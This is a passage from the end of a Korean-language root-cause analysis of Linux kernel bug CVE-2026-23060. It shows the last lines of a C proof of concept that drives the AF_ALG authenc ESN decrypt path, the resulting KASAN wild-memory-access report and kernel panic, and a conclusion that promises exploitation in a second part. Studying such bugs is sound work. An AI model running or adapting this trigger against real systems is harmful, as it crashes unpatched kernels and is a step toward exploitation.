struct iovec iov = { .iov_base = input, .iov_len = 16 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(opfd, &msg, 0);
uint8_t out[16];
recv(opfd, out, sizeof(out), 0);
return 0;
}
KASAN
~ # ./poc
[ 4.036876] ==================================================================
[ 4.038419] BUG: KASAN: wild-memory-access in scatterwalk_copychunks+0x196/0x4c0
[ 4.040294] Read of size 8 at addr dadfe35b46463b6b by task poc/74
[ 4.041331]
[ 4.041586] CPU: 1 UID: 0 PID: 74 Comm: poc Not tainted 6.12.62 #2
[ 4.041589] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.041590] Call Trace:
[ 4.041591] <TASK>
[ 4.041592] dump_stack_lvl+0x53/0x70
[ 4.041596] kasan_report+0xc6/0x100
[ 4.041599] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.041601] kasan_check_range+0x105/0x1b0
[ 4.041603] __asan_memcpy+0x23/0x60
[ 4.041604] scatterwalk_copychunks+0x196/0x4c0
[ 4.041606] scatterwalk_map_and_copy+0x11b/0x140
[ 4.041608] ? __pfx_scatterwalk_map_and_copy+0x10/0x10
[ 4.041609] crypto_authenc_esn_decrypt+0x2f5/0x5f0
[ 4.041612] ? __pfx_crypto_authenc_esn_decrypt+0x10/0x10
[ 4.041614] aead_recvmsg+0xb31/0x1760
[ 4.041616] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.041618] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.041620] sock_recvmsg+0x1b4/0x220
[ 4.041622] ? sockfd_lookup_light+0x13/0x140
[ 4.041624] __sys_recvfrom+0x15a/0x260
[ 4.041626] ? pfx_sys_recvfrom+0x10/0x10
[ 4.041628] ? __sys_sendmsg+0xe6/0x190
[ 4.041629] __x64_sys_recvfrom+0xdb/0x1b0
[ 4.041631] ? arch_exit_to_user_mode_prepare.isra.0+0x11/0x90
[ 4.041634] ? syscall_exit_to_user_mode+0x37/0xe0
[ 4.041636] do_syscall_64+0x9e/0x1a0
[ 4.041638] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 4.041641] RIP: 0033:0x401a0d
[ 4.041642] Code: 07 74 05 a4 ff ca 75 fb c3 0f 1f 40 00 f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> 66 90 f3 0f 1e fa e9 d7 ff ff ff 0f 1f 80 00 00 00 00 f3 0f 1e
[ 4.041644] RSP: 002b:00007ffd72218b48 EFLAGS: 00000202 ORIG_RAX: 000000000000002d
[ 4.041646] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000401a0d
[ 4.041647] RDX: 0000000000000010 RSI: 00007ffd72218c30 RDI: 0000000000000004
[ 4.041648] RBP: 00007ffd72218c20 R08: 0000000000000000 R09: 0000000000000000
[ 4.041649] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd72218bc0
[ 4.041650] R13: 00007ffd72218ce8 R14: 0000000000000000 R15: 0000000000000000
[ 4.041651] </TASK>
[ 4.041652] ==================================================================
[ 4.073171] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 4.074193] CPU: 1 UID: 0 PID: 74 Comm: poc Not tainted 6.12.62 #2
[ 4.075185] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.076845] Call Trace:
[ 4.077271] <TASK>
[ 4.077621] panic+0x4e9/0x5a0
[ 4.078104] ? __pfx_panic+0x10/0x10
[ 4.078689] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.079542] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.080293] check_panic_on_warn+0x5c/0x80
[ 4.080956] end_report+0xcb/0xe0
[ 4.081579] kasan_report+0xd6/0x100
[ 4.082169] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.082917] kasan_check_range+0x105/0x1b0
[ 4.083592] __asan_memcpy+0x23/0x60
[ 4.084285] scatterwalk_copychunks+0x196/0x4c0
[ 4.085090] scatterwalk_map_and_copy+0x11b/0x140
[ 4.085853] ? __pfx_scatterwalk_map_and_copy+0x10/0x10
[ 4.086718] crypto_authenc_esn_decrypt+0x2f5/0x5f0
[ 4.087481] ? __pfx_crypto_authenc_esn_decrypt+0x10/0x10
[ 4.088376] aead_recvmsg+0xb31/0x1760
[ 4.089013] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.089709] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.090387] sock_recvmsg+0x1b4/0x220
[ 4.090986] ? sockfd_lookup_light+0x13/0x140
[ 4.091718] __sys_recvfrom+0x15a/0x260
[ 4.092405] ? pfx_sys_recvfrom+0x10/0x10
[ 4.092872] ? __sys_sendmsg+0xe6/0x190
[ 4.093258] __x64_sys_recvfrom+0xdb/0x1b0
[ 4.093904] ? arch_exit_to_user_mode_prepare.isra.0+0x11/0x90
[ 4.094837] ? syscall_exit_to_user_mode+0x37/0xe0
[ 4.095616] do_syscall_64+0x9e/0x1a0
[ 4.096217] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 4.097013] RIP: 0033:0x401a0d
[ 4.097519] Code: 07 74 05 a4 ff ca 75 fb c3 0f 1f 40 00 f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> 66 90 f3 0f 1e fa e9 d7 ff ff ff 0f 1f 80 00 00 00 00 f3 0f 1e
[ 4.100473] RSP: 002b:00007ffd72218b48 EFLAGS: 00000202 ORIG_RAX: 000000000000002d
[ 4.101596] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000401a0d
[ 4.102731] RDX: 0000000000000010 RSI: 00007ffd72218c30 RDI: 0000000000000004
[ 4.103894] RBP: 00007ffd72218c20 R08: 0000000000000000 R09: 0000000000000000
[ 4.105078] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd72218bc0
[ 4.106226] R13: 00007ffd72218ce8 R14: 0000000000000000 R15: 0000000000000000
[ 4.107410] </TASK>
[ 4.108352] Kernel Offset: disabled
Conclusion
이번 글에선 CVE-2026-23060에 대한 Root Cause Analysis와 그를 통해 취약점을 트리거하는 POC까지 제작해 보았습니다. Part 2에선 해당 취약점을 이용해 어떻게 익스플로잇을 하는지에 대해서 알아보겠습니다.